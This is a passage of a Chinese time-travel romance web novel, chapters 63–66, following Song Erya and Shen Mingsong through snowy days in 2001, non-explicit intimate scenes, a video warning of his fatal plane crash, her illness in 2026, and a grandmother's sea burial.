等她给小孩每人都捏了一个打发走后,就看到沈明松手里不知什么时候多了台相机正在拍她,大概拍了很久了。 宋尔雅一怔,想起她上次穿回去从相机里看到又消失掉的视频,她对着镜头挥手笑。 相机是用来拍建筑工地现场照片的,一直留车里,刚停车时沈明松顺手就取过来。 镜头是另一双可以保存记忆的眼,沈明松不由自主地移向她,想把她记录下来。 宋尔雅把手心雪团捏实,点上两只眼睛捧过来给他。 沈明松:“这是什么,老鼠?” “是小熊啦!”她把小雪人放他手心,一把抢过相机,将镜头反转,“哥哥,我们一起拍一个吧,你弯下来一点。” 沈明松弯下大半个身体,两张脸就一起入镜,他用脸去贴她脸。 宋尔雅按了几下,老款相机她不太熟悉操作,嘟嘟囔囔:“怎么调成摄影模式……调好了,哥哥,我们来录个视频吧?” 沈明松微微偏头:“录什么?” “当然是录给未来的我们。” 他们正玩得开心,一个雪球突然砸了过来打中宋尔雅的脑门,有些雪落她脖子里了,冻得人差点要跳舞。 先前没得到雪人的小胖墩子冲她做鬼脸,手一挥又扔来了第二团雪。 她还没来得及发火,本还心情愉悦的沈明松几步冲过去抓住小胖墩,拎着他衣领提起踢他屁股:“想死吗?” 在开心时被人挑衅,哪怕是个小孩子,沈明松表情也凶得吓人,小胖墩哆嗦两下张嘴就嚎。 他的哭喊声把一个中年男人招来,一看自己儿子被人揪着,嘴里立刻不干不净骂起来:“***,放开我儿子,***我……” 沈明松丢开小胖墩,一手截男人挥来的拳头反手将其按到在雪地。 男人感觉胳膊都要被扭断了,没想这年轻人力气这么大,他动都动不了,脸色突变成慌张:“哎、哎,兄弟有话好好说。” 沈明松冷着脸:“让你儿子道歉。” “他还小,也不是故意……你做什么,冷啊!” 沈明松在地上抓了一团雪塞男人衣领里,男人腾一下站起来跳了段舞蹈,好一会才把雪给抖出来。 他铁青着脸又想挥拳头过来再次被制裁住,沈明松又抓了一把雪塞进去。 宋尔雅都看呆了,下意识地拍手鼓掌。 他如此操作,男人根本不是对手,最后服了,按着小胖墩的头让他哭哭啼啼地道了歉。 沈明松这才放开男人,过来牵宋尔雅??x?手走进楼里,回家不玩了。 电梯里就他们两人,宋尔雅说:“我还以为你会打他们呢。” “打人犯法,哥哥今天开心,不想进局子。”电梯到了,沈明松搂着她进家门,“去洗澡,别感冒了。” 家里有两个卫生室,有一个就在她房间内。 沈明松最先洗完出来,走到客厅倒水喝。 房内暖烘烘的,好些绿植摆放,沙发上放有玩偶,桌面还有一束醒好剑兰,开着一连串粉色的花。 沈明松平时一个月也住不了几次,对他来说有个窝睡着就行,是不会弄这些的。 他又去看墙壁上的画,用油画棒画出来了,还有些干花标本,每一副都署名“尔尔”。 “都是我自己画的哦。”宋尔雅擦着头发走出来。 沈明松面前那画,海上漂浮着艘船,蓝天白云和海鸥,是椰城的海,问:“我都不知道尔尔还会画画?” 宋尔雅得意的尾巴都要翘起来了:“我会的东西你不知道的多了去了,我可是多才多艺的。” “还有什么是我不知道的?”沈明松转过头,拿过她手里的干毛巾帮她擦头发,“尔尔,你真正生日是什么时候?” 宋尔雅顿了一下。 她真正的生日不重要了,她犹豫了片刻,还是告诉了他。 她想,这个世界上至少还有一个沈明松会知道她是谁。 沈明松点头记下:“你爸爸是谁?” 毛巾下只露出宋尔雅半张小脸,双眼蒙蒙,她的表情很释然:“我在这个世界里,大概不会出生了。”—— 作者有话说:亲妈滤镜,尔尔真的好可爱,想亲[垂耳兔头][垂耳兔头][垂耳兔头] 第64章 第 64 章 今晚和我睡觉吧 沈明松表情凝固住, 本来还愉悦的神情演变成慌张错愕:“什么?” 一直以来他都不怎么去过问未来的事,不去想自己以后是个什么样的人,本能的抗拒着去探究自己该和她是什么结果。 她还那么小, 在巨大的年龄差距下,想来也不会有什么好结果,他自欺欺人地想活在当下。 可是, 她说,她不会出生了。 宋尔雅拉着他去沙发坐下, 说:“那个郑嘉明你还记得吗, 其实他就是我父亲,但他对我妈妈不好, 所以我不希望我妈妈和他在一起。” “那你要怎么办, 你会消失?”沈明松脸色还是不太好, 眼底盛着浓浓担忧。 宋尔雅摇头:“应该不会。” “什么叫应该?”沈明松眉心蹙得更深, 逼迫一般质问,“你是不是还有什么事瞒着我?” 宋尔雅:“哪有, 我都告诉你了。” 她爬上他身,以一种很亲昵的姿势面对面坐他大腿上, 非常喜欢窝在他怀里依赖着他, 娓娓道来:“以前我以为我能这个世界里改变我妈妈的命运, 可我回到未来世界后发现什么都没有改变过,因为两个世界是平行的, 就算在这边我不出生了,也不会影响到另一个世界的我出生。” 沈明松双手搂紧她腰身, 头刚好抵在她肩窝里,看不见他表情。 宋尔雅摸摸他头:“我猜想过很多种可能,或许某一天我又穿走了, 再也回不到这边的时候,也该轮到你穿到我的世界那边,所以到那个时候你一定要来找我。” 在话说完的这一刻,沈明松手臂用力收缩,将她紧紧地禁锢在他怀里。 宋尔雅诶了一声,撞见他抬起一张结霜的脸,听他问:“你想回去吗?未来的世界会很好吧?” “怎么会么呢。”宋尔雅笑,回去了她只有一副病得要死的身体,“我们不说这个了。” “为什么不说,你想回去的对吧?” 宋尔雅:“……” 凭心而论,她想是想永远留在这里的,但她不能。 另一是个时空的沈明松凭白失去数十年的生命,失去了相依为命的母亲,她又还是个药罐子,不知道那天就会离世。如果连她都不回去陪他而留在这边,那独留他在未来也太残忍了。 而且。 宋尔雅不想告诉他自己生病的事情,只说:“这也不是我能控制得了的事,毕竟我不是真的有超能力。” 沈明松扭开脸。 宋尔雅见状心道不好,双手给他把脸捧正:“生气啦?” 沈明松松开她。 “哎呀。”她还坐在他怀里,捧着他脸亲了亲,“哥哥,别生我气呀。” 他捏住她下颌:“再亲一个。” 宋尔雅刚低头就被沈明松反客为主按住后脑勺,温热气息将她包围住。 很多时候他的动作都是很温柔的,像对珍宝那般异常小心,顺应着她的节奏来。 大概七八分钟后,宋尔雅被松开胸口皮肤起伏厉害,嘴唇好歹没破,脸蛋微红,玻璃似的漂亮眼珠子浸在一汪水中,勾得人移不开视线。 沈明松好不到哪里去,大冬天的夜里冒了细汗,看她的眼神黏糊糊地,似乎很口渴。 宋尔雅用手摸他嘴唇被咬出来的淡淡印子:“哥哥今晚和我一起睡吧?” “什么?”沈明松认为自己听岔了。 她手指顺着他下颌滑落触碰他滚动的喉结,看他发红的耳尖:“你心里想的是什么就是什么。” “我没想。”沈明松身体因为过份紧绷下而微微颤栗,牙关紧咬,眼底还未散去先前野兽般凶狠与贪婪。 “真的?我不信。”宋尔雅戳穿他,表情天真无辜。 沈明松:“……你知道你在说什么吗?” 宋尔雅本来就坐在他的腿上,可以清楚的感受着他呼吸局促而浓重,喉结滚了几下,她用手指戳了几下,失望道:“你不想就算了嘛。” 她站起来去拿吹风机吹头发去了。 沈明松动了动嘴唇,站起来走到她身后,想帮她吹,伸出手却又缩回去,欲言又止好几次,最终还是什么都没说。 她使坏的本事比他从前见识到的要厉害得多了,把他磨得心里发痒。 沈明松洗漱完,两三下就把头发擦干,他抖开被子钻进去,躺了好一会,发现自己失眠了。 又过了半个小时,房门被人打开,有人明目张胆的就爬了上来床,拉开被子也躺过来,软乎乎的身体挨着他。 沈明松浑身僵硬:“下去。” 宋尔雅使劲地挤过去抱他:“哥哥,抱挨着你睡暖烘烘的。” 她离他很近,温热的呼吸撩拨着他脖颈,体温都融到了一起。她湿润的眼珠子点缀着碎碎的光,大胆的目光中藏着钩子,企图牵着人鼻子走。 沈明松翻了个身,从牙缝里挤出字来:“下去,回你的房间。” 宋尔雅继续用力挤他,快把他挤到床边,美滋滋地把被子盖到脖子:“我保证我什么都不会做的啦,哥哥。” 沈明松猛然坐起来看他,背对着床头暖色的灯光,藏在阴影中的眼睛被撩拨出本能的欲望,变得极具危险性,警告道:“尔尔。” 他是个很正常的男人。 “好吧,那我真的走了。”宋尔雅慢吞吞爬起来,就在她穿鞋时倏地被大力拽回去,沈明松一个翻身压住她,双手撑在她脑袋两边,脸藏在阴影中看不太真切他神色。 他眯着眼睛,像是生气,又还夹杂着其他情绪,更像是兴奋。 他的心跳很块。 两人沉默了好一会儿,宋尔雅双上他脖子,仰头触碰他微凉的唇。 沈明松没有动,在她的挑拨下,似乎是妥协认命,亦或许是所索取,他双手托住她后脑勺和背,让两人之间更紧密一些,一起陷进床榻之间,呼吸和体温都交融在一起形成从温柔到炙热的吻。 和爱的人一起相拥亲吻,是件愉悦的事情。 宋尔雅激动,又有些害怕。她本质上也是第一次谈恋爱,能有什么高明手段,挑逗也是半吊子,沈明松根本不是她想象中的那样,被勾得意乱情迷。 他更像是在笨拙猎人追逐下,忽然生出反抗之心,主动回头去教训一下不知轻重的猎人,半敛的双眼迸发出强烈的进攻性。 夜色沉沉,外头下起了雪。 …… 宋尔雅知道错了,心里全是懊悔,哽咽,求饶:“我错了错了,求你了哥哥。” 耳边的喘息却更浓重了,体温灼热。 …… 四点多的冬夜,是密不透风的黑。 房间里的小夜灯还亮着,发出温暖的光。 宋尔雅累瘫地趴在枕头上,长睫毛上还挂着泪珠,连眼皮子都懒得睁开。 “尔尔,喝点水。”沈明松从外面端着水杯进来,手指挑起她的下巴喂她喝水。 她一点一点地喝下??x?去,还是有些想哭,觉得他刚刚太太过分了,推开水杯:“讨厌你。” 沈明松把她抱紧怀里,忍不住又亲亲她的眼尾,呻吟哑哑的:“哥哥最喜欢你。” 宋尔雅还是不想理他。 沈明松瞧出点别的意味来,他是头一回,什么都凭着本能来,明明很克制,偶尔也忍不住鲁莽,担忧地凑过去:“是不是弄疼你了。” 宋尔雅眼睛掀开一条缝隙,一开口就是委屈:“好疼。” “我看看。” “不给。”她本能地缩了缩把自己藏在被子里,她现在肯定很狼狈。 以前她希望沈明松永远抱紧自己,无论什么都不要放手,要他强烈的爱意,可物理上的抱紧,还真是……疯狂。 沈明松将她从被子里揪出来,宋尔雅颤阿颤,用脸埋他脖颈里蹭:“哥哥,我想洗澡。” 身上黏糊糊的,她却累得一根手指都不想动。 等把沈明松进浴室放满水出来一看,她人已经睡着了,缩在被子中,黑色凌乱的长发铺满他的床。 他抱着她放进浴缸里,心里软成温暖的水流,浸泡过她全身,清洗掉她身上痕迹。 十几分钟后,沈明松小心地给她人穿好睡衣后,把人抱回她房间,又找出毛茸茸棉袜子给她穿上,他想回自己房间睡的,却又莫名其妙地掀开被子爬了上去。 他把胳膊放她脑袋下,躺了一会儿才伸手去关台灯,黑暗中又偷偷亲了一下她鼻尖。 宋尔雅被包围得浑身暖烘烘的,一觉睡得很舒服,等醒来后已经是第二天中午了。 床上就她自己,身旁的被褥是凉的,她洗漱好出去,沈明松在厨房里做饭。 他听到声响回头看她两眼,去盛锅里熬好的莲藕排骨汤给她先喝着垫肚子。沈明松鼓捣没多久就把饭菜端出来,先给她盛饭再到自己,坐下来一起吃。 对于昨晚的事都默契的没提。 宋尔雅先开口:“你不要每次都吃那么快,慢一点陪我。” 沈明松年少时做苦力活又累时间又紧,吃口饭都要争分夺秒,不然胃里饿得一抽一抽的疼。 而她连喝水都小口小口来,挑不出一点毛病,进食期间又不怎么爱说话。 然而沈明松还是当缓了许多,挑出花甲肉放勺子里递到她嘴边。 宋尔雅眨了眨眼,张嘴含住勺子,等嘴里食物都咽下后:“哥哥你做饭比我做的好吃多了,以后都你做行不行。” 沈明松弯弯嘴唇,又给她夹了一筷子菜:“那你多吃点。” 他似乎和往常一样,又不太一样,宋尔雅一时说不上来。 吃完饭后他收拾碗筷进厨房洗了,宋尔雅又夸他洗碗洗得干净。 沈明松:“只要是活,都是我干得好对吧?” 宋尔雅:“嘿嘿。” 下午,宋尔雅还有学期最后一门课没结课,沈明松专业的所有课程已经结课了,便也跟着她去,即使坐后排,他那么高的个子也很显眼。 宋尔雅翻开书本,认真的听老师讲课。 她的本子上的笔记工整有序,还能抽空画点图案,像艺术品一样美观。她做事从未含糊过,沈明松想去捏捏她手玩,都被拍开了:“别烦,圈重点呢,要是害我期末挂科了,你赔。” 沈明松觉得她有点翻脸不认人的味道。 连上两节课后,宋尔雅把课本装包里后,从上课时都不怎么理人的高冷姿态,又突变成撒娇精,抱着他胳膊。 “好冷好冷,哥哥我们快回家吧。”她把手伸进他外套口袋取暖。 沈明松抓起她手亲了亲冰凉的指尖。 宋尔雅突然站起来。 沈明松被她吓了一跳:“怎么了?” 宋尔雅歪头打量他,总算察觉出他这一天哪里不对了,他变得黏糊糊起来,像刚新婚的丈夫忍不住要和妻子腻歪,且黏人。 她想起昨晚的事,又想起了那种身体失控却无能为力的疯狂。 最后她哭了,他才收起獠牙,温柔地亲吻着她后背哄了好久好久,特别肉麻。 宋尔雅凑近他耳边:“哥哥今晚还和我睡吧?” “大姑娘了,说话不害臊。”沈明松被她吓一跳,伸手来捂她嘴巴,明明教室都走空了,他耳尖还是红了起来。 宋尔雅眼睛弯弯,故意地又亲他手心一下,看他又颤抖了一下。 第65章 第 65 章 不后悔 一走出教学楼, 所有风雪都扑面而来,沈明松给宋尔雅把围巾又围了一圈,几乎要遮住整张脸, 牵着她走路回去。 路上看见有卖草莓的,他们挑了一袋,再路过小区超市时, 沈明松又停下脚步。 宋尔雅:“怎么了?” 沈明松:“我进去买个东西。” 宋尔雅刚要说一起进,沈明松就先大步走向超市, 没过多久就出来了, 手里什么都没有。 “买了什么?”宋尔雅问他。 他拿过她手中草莓:“先回家。” 晚饭依旧是沈明松做的,锅里还有中午没喝完的汤, 再炒两个菜就行了。 宋尔雅也跟着进去帮忙洗菜, 沈明松挽起毛衣袖子露出结实的胳膊, 挥舞着菜刀在切土豆切丝, 咚咚咚地声音很有节奏,看她愣愣地直看着他, 问:“在想什么?” 宋尔雅回过神来:“你好像我老公。” 沈明松切菜动作一顿:“那叫声老公听听。” “老公。” 他似乎未料到她这么乖,眼神瞬间就变了, 把菜刀丢到一边, 转身专注地盯着她脸:“再叫一次。” “老公。” 沈明松很开心地应了一声, 弯腰亲她,然后推着她后背出厨房:“出去, 小心一会油溅到你。” 厨房门被关上,里面的身影好像多了几分雀跃。 宋尔雅去客厅打开电视, 里面正放着新闻联播,她看了一会儿,搭在沙发上的外套传来振动。 她伸手去把里面的东西拿出来, 一串钥匙,一部振动的手机,还有一个盒子封面很暧昧的盒子。 她愣了愣,低头看着手心的盒子。 昨晚到了最后她已经有些神志不清了,也是知道他没弄到里面去的,耳边仿佛还残留他趴在自己耳边性感的喘息。 和喜欢的人做这种事,比看漫画还要刺激! 宋尔雅的羞耻心这才后知后觉的冒出来,再一次回忆起那种被填满的感觉。 她拍拍自己脸,把手机塞回去假装什么都没看见,等沈明松出来接电话时她已经回房间洗澡去了。 洗完澡吃完饭后,时间还很早,宋尔雅抱着笔记本盘腿坐在地毯上翻译文稿。 沈明松把草莓洗出来放旁边茶几上,看她工作认真的模样,拿了个又红又大又甜喂她吃,看她翻译得飞快出声询问:“你本身就是做这个的?” 宋尔雅恰好把最后一段翻译完,反复确认保存,才合上电脑去咬他手里的草莓吃,回答:“不是,我啃老的。” 沈明松挑眉:“?” “就是啃你啊。所以哥哥你要加油赚钱养我哦。” 他把她从地毯上抱起来坐在沙发上,遥控器随便调到一个台,正播放着偶像剧,手臂揽过她的腰:“来和哥哥说说,你在那边过什么样的生活?” 宋尔雅皱眉,她打小父亲出轨父母离婚,后面又患上重病病,母亲离世后,自己也差点一命呜呼,似乎没有什么可以值得说的,想起来都命苦。 沈明松点点她眉心:“怎么苦着脸,是在那边过得不开心?” 她并不像个过得苦的人,倒像在爱里长大甚至说是被宠溺的,向人索起爱来理直气壮的。 “没有啊,我很幸福的,有很多人爱我也很多的钱。”如果不是生病的话,她的人生会加倍的快乐。 沈明松想到她前几年过的那些日子,那个雨天她光脚站别人屋檐下躲雨的模样,抱紧她几分:“那你会不会想留在那边?” 宋尔雅不说话了。 沈明松伸手来掰她的脸:“哥哥很爱你,以后,也会有很多钱的,保证不会让你过得比那边差。” 听起来像画大饼,但宋尔雅知道他都会实现的:“哥哥,留在哪边不是我能决定的,而且你现在已经好多钱了,够我啃了。” 无论是原本轨迹的沈明松,还是因为她穿越而导致多出一个平行世界里的沈明松,命运应该都不会相差太多。 她忽然想到她还没见过她另一个时空里真正四十六的沈明松呢,如果不是眼前这个会穿越过去找她,她可能十七岁那年就紧随宋芳的步伐也死掉了。 宋尔雅脑袋靠在他肩头,不太开心了:“我不想说这个了。” 沈明松看了几秒,不再问了。 宋尔雅去拿草莓和他分着吃,基本都很甜,偶尔也藏了几颗特别酸的,她咬了个尖后,自然??x?地递给他。 沈明松顺嘴就吃了,下一秒宋尔雅见他表情不对,赶紧就要起身,还没站稳就被一把抱起来。 “小王八蛋。”沈明松把酸死人的草莓吐掉,捏她脸笑骂。 刚才有些沉闷的气氛一扫而空。 宋尔雅跳上他身双手抱着他脖子,双腿也盘腰上:“哥哥,今晚还和我睡觉吧?我喜欢被你抱着睡。” 沈明松身体一僵,想都没想:“不行。” 昨晚她哭得可厉害,一度叫他都不敢做下去,以为伤害到她了,可她一边哭一边缠上来。 他想放开她,她八爪鱼一样难缠:“那你去超市买回来的东西不用了?” 沈明松腾地一下,从耳朵红到脖子,表情不自然了:“你怎么知道?” “我看到了呀。”宋尔雅笑起来人畜无害,“等过段时间期末考开始,我就不和你睡了。” 她这样一说,他还能拒绝不成? “这可是你自找的,一会不许哭。” 但她最后还是哭了,边哭边挠边咬他。 沈明松抓住她的双手无奈地哄,他根本就没到底。 哭累了她趴他胸口上睡了一会儿又醒过来抬头,哭腔都没消失下去,问他:“还来吗?” 沈明松要被她逼疯了。 ~ 深夜,世界一片寂静,能听到大雪簌簌落下的声音。 事后,宋尔雅依偎在沈明松怀里睡了很沉的一觉,等她醒来拿起手机一看,是触屏的,显示着2026年的时间。 她睁着眼躺了很久,才慢吞吞爬起来去刷牙洗漱,换好衣服下楼,都快中午了,家里只剩她和几个保姆。 保姆问她今天怎么起这么晚,她说昨晚玩游戏玩过头了。 说实话,她每次回到这边,心情会变得很沉重,像起伏的过山车,明明上一秒还倍感幸福,下一秒就戛然而止。 她不能去上学不能出门去玩,还要定期去医院复诊,每天无所事事的,她不知道自己要做什么了,因为这样的生活感到空虚而烦躁。 宋尔雅吃了些东西后又玩起了游戏,然后发现之前加的,天天和她玩游戏的一米八六不在列表上。 她知道肯定是沈明松给删的,就像当初让她和那些狐朋狗友断联一样,他事事俱到管着她,却又把她推开。 冷战从来都是她一个人的事,沈明松晚上回来时一如既往地询问保姆她今天吃了什么做了什么,仿佛她是个不能自理的婴儿,时刻要家长看管的小孩。 保姆说她没吃晚饭。 宋尔雅在放旧物的房间里听歌,手里还拿着上次的那个的相机,又有了新的发现,里面有大量她和沈明松出去玩的照片,有些是她给拍的两人合照,更多的是他给她拍的,还有趁她睡觉的。 都是显示是2001年后的时间,都是她还没经历过的,接着,她看到了一段新视频。 在点开之前,宋尔雅就感到强烈的不安,每一次,每一次老天都会给她预警一样。 视频里拍摄的女生依旧是她,也只有她一个人,穿着一身黑衣服,在清晰度不够的镜头模糊成一个影子。 “尔尔你好,我只是存在于2001年的你,我不知道你是否能看见这段录像,什么时间段才能看到,请你一定要相信我的话。 今天是2001年2月7号,也是沈明松死亡的第三天,他于2月4号的坐上椰城飞往深市的飞机,但那架飞机失事了,全员坠亡无一生还,他连是尸骨都没有了,但他没有真正死亡,而是穿越到了2020年。 如果你能看到这段录像,如果你已经开始穿越,请你阻止他,不要让他坐上那趟飞机,不要让他去到你的世界,拜托你了。 我求求你了。” ~ 沈明松就推门进来时,宋尔雅还在发呆,连他走过来了都没发觉。 沈明松抽掉她已经没电了的相机:“尔尔,怎么不下楼吃饭?” 宋尔雅低着头没有任何表情的脸。 从沈明松角度看下去是浓密的睫毛和高翘的鼻骨,脖子特别纤细,能看见凸出来的一节节骨头,令人想到瘦骨嶙峋的一词。 沈明松:“怎么了?” 她依旧不说话。 沈明松蹲了下去,身子猛然矮了许多,终于看到了她的脸。 宋尔雅忽然伸出双手捧他凑过来看的脸,语气好亲昵:“我不想吃阿姨做的饭,哥哥你去做好不好?” 她又叫他哥哥,沈明松睫毛一动,明白了她又一次穿越过去了。 宋尔雅看他垂着眼睛不知想着什么,凑过去亲了侧脸一下,再次撒娇:“好不好嘛?” 沈明松立即抬手,手指摸着被亲的地方,眸色深了一些。 不等他开口她又亲了一口,这次亲在他嘴巴上。 沈明松轻轻推开她:“不可以这样的。” “我想这样,我喜欢这样,我就要这样。”宋尔雅做出一副你又能拿我怎么样的娇纵模样。 沈明松嘴角微动,宋尔雅上去又是吧唧一口,他又动了一下,她再亲一口,他想站起来被她一把推到在地。 她之前都忘记了,年下嘛,是允许死缠烂打,撒泼打滚的。 她双膝分别跪在他大腿两侧,双手压着他肩膀防止他还想爬起来,“安静的听我说完,不然我就继续亲你。” 既然拿她当小孩子,那就要承担孩子的任性无理。 明明她没有多大力气,沈明松却没再动了,呼吸一下比一下深,一时之间真没想到要怎么对付她这个蛮横中又带着软和的模样。 她缠起人来向来很难搞。 宋尔雅眼圈红红的,跟他说:“我不能理解你的想法,你也清楚我的自私,就算倒换过来是我变成了一个老婆婆,你是年轻人,我也希望你是我的,甚至希望哪怕有一天我死后,你也不可以去爱别人,你就该得永远爱我。” 沈明松脸色沉了沉:“不要说什么死不死。” 宋尔雅不想听他讲话,手动捂嘴:“你不要浪费我的生命了,有一天过一天,有秒过一秒,你现在是比我大又怎么样,我命比你短啊。” 眼见沈明松这回是真的要生气了,宋尔雅赶紧放软了态度,环住他脖子,用脸贴他脸蹭蹭:“不要这个样子对我,我会好伤心的,我都难受得要哭了。” 沈明松本能的环抱她腰肢。 这边的她身体总是不好,不断地进医院,不断打针吃药,瘦得骨头硌人,抽泣一下都像随时会在他怀里断了气。 沈明松一下一下摸着她扎人的短发:“尔尔,你想要什么?” 宋尔雅收紧手臂,将他抱得更近一些。 一时之间两人都没有说话了。 大概过了很久很久,沈明松声音轻轻的:“那就不能后悔,十年八年后嫌我老了也不能后悔。” “因为这是你自找的。” 第66章 第 66 章 谈上了 宋尔雅的生活也没发生多大变化, 只是她变得更恃宠而骄了。 负责做饭的保姆深市人,完全按她的口味每天变着花样做饭,沈明松陪她吃饭时几乎不动筷子, 只是给她夹她不喜欢的猪肝吃。 猪肝升白细胞,可始终有股味,宋尔雅不情愿吃得更慢了, 折磨人一样,沈明松倒是很有耐心, 就算她是故意的也不生气。 保姆给她盛了碗牛骨炖山药汤, 她把碗里的山药挑出来全扔沈明松碗里。 保姆欲言又止,沈明松不吃这个的。 沈明松抽出纸巾给她擦嘴:“报复?” 但他还是把山药吃了, 宋尔雅只得把猪肝也吃了, 跑去洗手时保姆总算找到机会和她说话了:“尔尔, 你怎么把不吃的扔叔叔碗里, 这样不礼貌。” 老太太如今不在了,几个保姆都在私底下担心过家里的男主人什么时候结婚, 到时候她这个没血缘关系,也已经长大的小主人会不会失宠离开沈家。 毕竟男主人从来没有明切承认过她养女身份。 宋尔雅认真地和她们解释:“叔叔现在是我男朋友了。” “啊?”保姆张大嘴巴。 她们很多年前就在沈家了, 对于男主人为人那是没话说的, 性子沉稳随和, 不像其他雇主那般傲慢高人一等,在私生活上也是洁身自好。 他带着宋尔雅回来的那一年, 大家也都以为他是家里老太太催婚催烦了,干脆领养个孩子回来, 虽然是个大孩子而且身体不太好,但也没人会往其他方面想。 主要她们也想象不出来男主人会是那种表面披着人皮,私底下喜欢年轻漂亮小姑娘的斯文败类, 也不知道老太太要是还活着的话,会是怎么样的想法。 可保姆不好说主人家什么。 晚上宋尔雅赖在书房里不走,挑了几张照片发朋友圈,很快一堆留言。 不是问她出院就是问她去哪里玩了,还有人问她是??x?不是交男朋友了。 那些照片没什么好奇怪的,就是有一张照片拍出沈明松的手,手心捧着她捏的小动物,她同样也是,两只手凑一起凑一起,那是去年年底拍的了。 宋尔雅给那人回复了一个笑脸。 这下可捅了马蜂窝,共同好友群里炸开了,冒出一堆消息问那手是谁的。 宋尔雅生病后不常能和朋友见面,但之前她是爱玩的,共同朋友中有几个男生和她告白过,被艾特出来后几人连忙解释不是自己。 群里众说纷纭 “天啊,不会真是家里那位吧。” “!” “!” “你真喜欢老头?” “咋,你活不到中年了?” “年龄就摆在哪里,老头一个了!” 宋尔雅偷偷看正在办公的沈明松一眼,他正端着水杯喝水,穿着黑色高领毛衣衬得下颌线更完美了,高大的身材被勾勒出来,黑发微微卷着,连侧脸都很优越。 老也有老的魅力。 沈明松很少接受采访,外面流出来的图不多,宋尔雅朋友们年纪都不大,大多在大学或国外读书,也就没几个真正接触过他。 她拍了一张侧脸照发上去,群里风向又变了。 “谁说老男人不行,老男人好啊,老男人风韵犹存。” “你们谁有这个颜值,发出来给我品品!” “上次我爸带我去公司见到过人,身材特棒,火辣辣的。” 宋尔雅刚要艾特群主,让她把那个一直说“老头就是老头”的给踢出去,就看到那人已经被移出群聊了。 段西瑞疯狂给发信息她没理,他直接打电话过来:“宋尔雅,你疯了吗?” 宋尔雅很淡定:“没有。” “我就知道你对沈叔叔不怀好意,你是不是给他下药了。”段西瑞补充,“下迷魂药了?” 在他心里,沈明松和他爸爸一个辈分,甚至更尊重,哪知宋尔雅大他几岁总压他一头就算了,现在还把人搞到手,以后是不是要叫她“小婶婶”? 段西瑞接受无能。 宋尔雅怎么可能会遮遮掩掩谈恋爱,她恨不得昭告天下,劝段西瑞想开一点,管他接不接受呢,“哦,对了,你和你爹说一下,不要再给我男朋友介绍什么表不表妹的,他现在是我的啦,还有你本来就是个弟弟,再小一辈又怎么样,说不定以后我还能抱一抱刚出生的你。” 段西瑞:“你又乱讲什么……” 宋尔雅果断把电话挂了,转头发现沈明松在看电脑,应该也看到她朋友圈发了什么,没作声。 她本来也想拿他手机发的,想想还是算了,给他留点面子,省得他在他朋友中名节不保。 宋尔雅从阅读区悄悄走过去趴他后背上,双手圈住他脖子,沈明松手往后捏捏她脸蛋:“怎么这么黏人。” “我怕你没几天又后悔,又不和我处了。” 沈明松不说话,她伸长脖子去看他表情:“不是吧,真后悔了。” 她站起来绕过椅子,一屁/股往沈明松大腿上坐,看他变了脸色立马警告他:“敢推开我就和你亲嘴。” 沈明松顿了顿。 就没她不敢、做不出来的事情,她一直都是想要什么都会直接索取,直接干的。 从前他常常会因为她这样直白而感到苦恼,明明他才是年长的那一位,她也不是什么成熟之人,偏偏在这种事情上把他拿捏得死死的, 小有小的优势,他对她有一半是纵容,另一半还是纵容。 宋尔雅把相机充满电,给他看还段未消失的视频,沈明松看完之后露出非常意外的表情,随后把它删除。 宋尔雅:“你删它干嘛?” 沈明松轻飘飘的语气就像删除她手机里那个“一米八六”一样:“手滑了。” “所以是真的对吧。”宋尔雅盯着他,刚刚的笑脸已不复存在,却平静得很诡异,看似轻描淡写的问,“你在那边世界里,真的死掉了?” 她来回穿越不断,他却一次都没有穿回去过的迹象。 因为他在那边世界里死掉了,尸骨无存,穿不回去了。 见他默认,宋尔雅几乎是怨恨地盯着他:“你为什么不告诉我,你在那边死掉了,明明我什么都会告诉你。” “尔尔好聪明,”沈明松竟然还在夸奖她,他也想不到2001年的她会留下这些提示。 那个时间线的宋尔雅经历过沈明松死亡的她只能想到这个方法,寄托于自己能看到,趁此之前阻住事情发生。 幸好她看到了,一切都来得及。 沈明松却说:“不要阻止。” “为什么?” “如果我没死,又怎么来到你的世界。”沈明松将她转了个身,面对面拥抱着她,按着她脑袋不让她去看他的表情,“那样我们就不会相识,也就没有后面发生的事。” 宋尔雅脸埋在肩膀上呼吸:“哪怕我活不长,哪怕我死后只剩你自己留在的这里,也没关系吗?” 距离骨髓移植已经过去快半年了,每次复查医生每次都说她恢复良好,却从未停过她药,甚至还加了些。 医生不知道,她总是能轻易看出别人是否撒谎,他们演戏,自己也陪着演,心里已经做好再次复发的准备,反复告诫自己能活一天,就快乐任性一天。 沈明松呼吸频率变了变,手顺着她后背一下一下的抚摸,声音含着水汽,不知是安抚她还是自己:“没关系的,没关系,我们在这边会好好的。” “好嘛,我尊敬你的决定。”宋尔雅听到自己声音。 她拥抱着他,汲取走他的生命。 当晚宋尔雅就做了个梦,梦里她不知道自己是在做梦。 她来到一个摆满白菊的房间里,惨白的灯光下是明珠凄厉的痛哭。 那哭声犹如鞭子一下一下的抽打她心脏上。 她站在灵堂无措地看着那张遗像。 二十二岁的沈明松嘴角上扬,像是雪化后的阳光,眼睛暖洋洋的。 ~ 海都的春天来了,枝头长出新的嫩叶,站在阳光下似乎连身体里的细胞也在不断生长,令人想要被这温暖晒透。 宋尔雅头发长得快,不知不觉间就覆盖过耳后,出门不用再戴帽子了。 去医院复查回来后,沈明松便带她回了一趟椰城,同行的还有明奶奶的骨灰。 海葬是明奶奶的遗愿,大概是回光返照,她离世前一天恢复了清醒,一边打着毛衣一边和沈明松絮絮叨叨说了好多他小时候父亲还在的事情。 她恨那片海带走自己丈夫,可最终还是想去到海里和他团聚。 她说累了,叹了口气,仿佛已经知道自己命数已尽。晚上明珠早早上床,第二天便不再醒来。 那时宋尔雅在医院治疗未能见上奶奶最后一面,沈明松不想她连葬礼都参加不了,本打算等她身体恢复得差不多了才带她回老家。 但来不及了。 复查结果并不理想,医生建议他放弃,留她在医院继续治疗也只是折磨,不如尽量满足她心愿,最好别告诉她,让她开开心心渡过最后的日子。 宋尔雅自己的身体不晕船,趴在甲板栏杆上看海面上的层层浪花,头发被海风吹乱。 沈明松走到身后给她把帽子戴上,又展开臂弯上的披肩围住她。 椰城的春天已经热起来了,只是她看起来太孱弱了,风一吹就要散了。 宋尔雅看见无尽蓝的海面,作为宋瑶在椰城生活过的往事一帧帧从回忆里跳出,似一阵又一阵温柔缓慢的潮水漫上来。 她好幸福,又好悲伤,可看着装着明奶奶骨灰的溶解罐沉入海底的那一刻,五脏六腑都难受了起来。 她的悲伤并不会突然天崩地裂一样强烈迸发出来,而是像一块冻住冰,随着时间缓慢地融化,一点一点融成水不知不觉的将她淹没。 